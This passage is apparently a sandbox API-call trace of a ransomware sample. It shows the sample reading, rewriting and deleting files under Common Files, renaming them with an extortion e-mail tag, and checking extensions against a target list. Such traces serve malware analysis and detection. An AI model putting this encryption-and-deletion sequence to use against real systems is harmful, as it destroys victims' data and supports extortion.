"c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[btckeys@aol.com].2020")) returned 0 [0069.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[btckeys@aol.com].2020")) returned 0 [0069.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[btckeys@aol.com].2020")) returned 0 [0069.712] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0069.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0069.714] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafc6c | out: lpNewFilePointer=0x0) returned 1 [0069.714] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafc2c | out: lpNewFilePointer=0x0) returned 1 [0069.714] ReadFile (in: hFile=0x1d4, lpBuffer=0x3750058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2cafc38, lpOverlapped=0x0 | out: lpBuffer=0x3750058*, lpNumberOfBytesRead=0x2cafc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.718] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2cafc2c | out: lpNewFilePointer=0x0) returned 1 [0069.718] ReadFile (in: hFile=0x1d4, lpBuffer=0x3790058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2cafc38, lpOverlapped=0x0 | out: lpBuffer=0x3790058*, lpNumberOfBytesRead=0x2cafc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.723] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2cafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0069.723] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2cafc2c | out: lpNewFilePointer=0x0) returned 1 [0069.724] ReadFile (in: hFile=0x1d4, lpBuffer=0x37d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2cafc38, lpOverlapped=0x0 | out: lpBuffer=0x37d0058*, lpNumberOfBytesRead=0x2cafc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.111] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0070.111] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2cafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0070.290] SetEndOfFile (hFile=0x1d4) returned 1 [0070.291] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ff4fb8 [0070.294] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafc7c | out: lpNewFilePointer=0x0) returned 1 [0070.294] WriteFile (in: hFile=0x1d4, lpBuffer=0x3ff4fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2cafc88, lpOverlapped=0x0 | out: lpBuffer=0x3ff4fb8*, lpNumberOfBytesWritten=0x2cafc88*=0x40000, lpOverlapped=0x0) returned 1 [0070.527] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2cafc7c | out: lpNewFilePointer=0x0) returned 1 [0070.527] WriteFile (in: hFile=0x1d4, lpBuffer=0x3ff4fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2cafc88, lpOverlapped=0x0 | out: lpBuffer=0x3ff4fb8*, lpNumberOfBytesWritten=0x2cafc88*=0x40000, lpOverlapped=0x0) returned 1 [0070.530] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2cafc7c | out: lpNewFilePointer=0x0) returned 1 [0070.530] WriteFile (in: hFile=0x1d4, lpBuffer=0x3ff4fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2cafc88, lpOverlapped=0x0 | out: lpBuffer=0x3ff4fb8*, lpNumberOfBytesWritten=0x2cafc88*=0x40000, lpOverlapped=0x0) returned 1 [0070.532] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ff4fb8 | out: hHeap=0x4b0000) returned 1 [0070.532] CloseHandle (hObject=0x1d4) returned 1 [0070.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0070.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0070.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0070.910] lstrlenW (lpString=".doc") returned 4 [0070.910] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0070.910] lstrlenW (lpString=".docx") returned 5 [0070.910] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0070.910] lstrlenW (lpString=".pdf") returned 4 [0070.911] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0070.911] lstrlenW (lpString=".xls") returned 4 [0070.911] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0070.911] lstrlenW (lpString=".xlsx") returned 5 [0070.911] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0070.911] lstrlenW (lpString=".ppt") returned 4 [0070.911] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0070.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0070.911] lstrlenW (lpString=".zip") returned 4 [0070.911] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0070.911] lstrlenW (lpString=".rar") returned 4 [0070.911] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0070.911] lstrlenW (lpString=".bz2") returned 4 [0070.911] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0070.911] lstrlenW (lpString=".7z") returned 3 [0070.911] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0070.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0070.911] lstrlenW (lpString=".dbf") returned 4 [0070.911] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0070.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0070.911] lstrlenW (lpString=".1cd") returned 4 [0070.911] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0070.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0070.911] lstrlenW (lpString=".jpg") returned 4 [0070.911] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0070.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0070.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0070.911] lstrlenW (lpString=".doc") returned 4 [0070.911] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0070.911] lstrlenW (lpString=".docx") returned 5 [0070.911] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0070.911] lstrlenW (lpString=".pdf") returned 4 [0070.911] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0070.911] lstrlenW (lpString=".xls") returned 4 [0070.911] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0070.912] lstrlenW (lpString=".xlsx") returned 5 [0070.912] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0070.912] lstrlenW (lpString=".ppt") returned 4 [0070.912] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0070.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0070.912] lstrlenW (lpString=".zip") returned 4 [0070.912] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0070.912] lstrlenW (lpString=".rar") returned 4 [0070.912] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0070.912] lstrlenW (lpString=".bz2") returned 4 [0070.912] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0070.912] lstrlenW (lpString=".7z") returned 3 [0070.912] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0070.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0070.912] lstrlenW (lpString=".dbf") returned 4 [0070.912] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0070.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0070.912] lstrlenW (lpString=".1cd") returned 4 [0070.912] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0070.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0070.912] lstrlenW (lpString=".jpg") returned 4 [0070.912] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0070.912] lstrcmpiW (lpString1=".CHM", lpString2=".2020") returned 1 [0070.912] lstrlenW (lpString="SETUP.CHM") returned 9 [0070.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0073.948] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=67190) returned 1 [0073.948] CloseHandle (hObject=0x204) returned 1 [0073.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0073.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0073.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0073.949] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.949] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0073.949] GetLastError () returned 0x0 [0073.949] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x10676, lpOverlapped=0x0) returned 1 [0073.965] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x10680, lpOverlapped=0x0) returned 1 [0073.967] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0073.967] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.967] SetEndOfFile (hFile=0x1d4) returned 1 [0073.967] CloseHandle (hObject=0x1d4) returned 1 [0073.969] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.969] SetEndOfFile (hFile=0x204) returned 1 [0073.970] CloseHandle (hObject=0x204) returned 1 [0073.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0073.970] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0073.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0073.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0073.971] lstrlenW (lpString=".doc") returned 4 [0073.971] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0073.971] lstrlenW (lpString=".docx") returned 5 [0073.971] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0073.971] lstrlenW (lpString=".pdf") returned 4 [0073.971] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0073.971] lstrlenW (lpString=".xls") returned 4 [0073.971] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0073.971] lstrlenW (lpString=".xlsx") returned 5 [0073.971] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0073.971] lstrlenW (lpString=".ppt") returned 4 [0073.971] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0073.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0073.971] lstrlenW (lpString=".zip") returned 4 [0073.971] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0073.971] lstrlenW (lpString=".rar") returned 4 [0073.971] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0073.971] lstrlenW (lpString=".bz2") returned 4 [0073.971] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0073.971] lstrlenW (lpString=".7z") returned 3 [0073.971] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0073.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0073.971] lstrlenW (lpString=".dbf") returned 4 [0073.971] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0073.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0073.971] lstrlenW (lpString=".1cd") returned 4 [0073.971] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0073.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0073.971] lstrlenW (lpString=".jpg") returned 4 [0073.972] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0073.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0073.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0073.972] lstrlenW (lpString=".doc") returned 4 [0073.972] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0073.972] lstrlenW (lpString=".docx") returned 5 [0073.972] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0073.972] lstrlenW (lpString=".pdf") returned 4 [0073.972] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0073.972] lstrlenW (lpString=".xls") returned 4 [0073.972] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0073.972] lstrlenW (lpString=".xlsx") returned 5 [0073.972] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0073.972] lstrlenW (lpString=".ppt") returned 4 [0073.972] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0073.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0073.973] lstrlenW (lpString=".zip") returned 4 [0073.973] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0073.973] lstrlenW (lpString=".rar") returned 4 [0073.973] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0073.973] lstrlenW (lpString=".bz2") returned 4 [0073.973] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0073.973] lstrlenW (lpString=".7z") returned 3 [0073.973] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0073.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0073.973] lstrlenW (lpString=".dbf") returned 4 [0073.973] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0073.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0073.973] lstrlenW (lpString=".1cd") returned 4 [0073.973] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0073.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0073.973] lstrlenW (lpString=".jpg") returned 4 [0073.973] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0073.973] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0073.973] lstrlenW (lpString="Office32MUI.XML") returned 15 [0073.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0073.974] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=1383) returned 1 [0073.974] CloseHandle (hObject=0x204) returned 1 [0073.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0073.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0073.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0073.978] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.978] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0073.981] GetLastError () returned 0x0 [0073.981] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x567, lpOverlapped=0x0) returned 1 [0073.982] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x570, lpOverlapped=0x0) returned 1 [0073.983] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0073.983] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xf2, lpOverlapped=0x0) returned 1 [0073.983] SetEndOfFile (hFile=0x1d4) returned 1 [0073.983] CloseHandle (hObject=0x1d4) returned 1 [0073.984] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.984] SetEndOfFile (hFile=0x204) returned 1 [0073.984] CloseHandle (hObject=0x204) returned 1 [0073.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0073.984] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0073.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0073.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0073.985] lstrlenW (lpString=".doc") returned 4 [0073.985] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.985] lstrlenW (lpString=".docx") returned 5 [0073.985] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0073.985] lstrlenW (lpString=".pdf") returned 4 [0073.985] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.985] lstrlenW (lpString=".xls") returned 4 [0073.985] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.985] lstrlenW (lpString=".xlsx") returned 5 [0073.985] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0073.985] lstrlenW (lpString=".ppt") returned 4 [0073.985] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0073.985] lstrlenW (lpString=".zip") returned 4 [0073.985] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.985] lstrlenW (lpString=".rar") returned 4 [0073.985] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.985] lstrlenW (lpString=".bz2") returned 4 [0073.985] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.985] lstrlenW (lpString=".7z") returned 3 [0073.985] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0073.985] lstrlenW (lpString=".dbf") returned 4 [0073.985] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0073.985] lstrlenW (lpString=".1cd") returned 4 [0073.986] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0073.986] lstrlenW (lpString=".jpg") returned 4 [0073.986] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 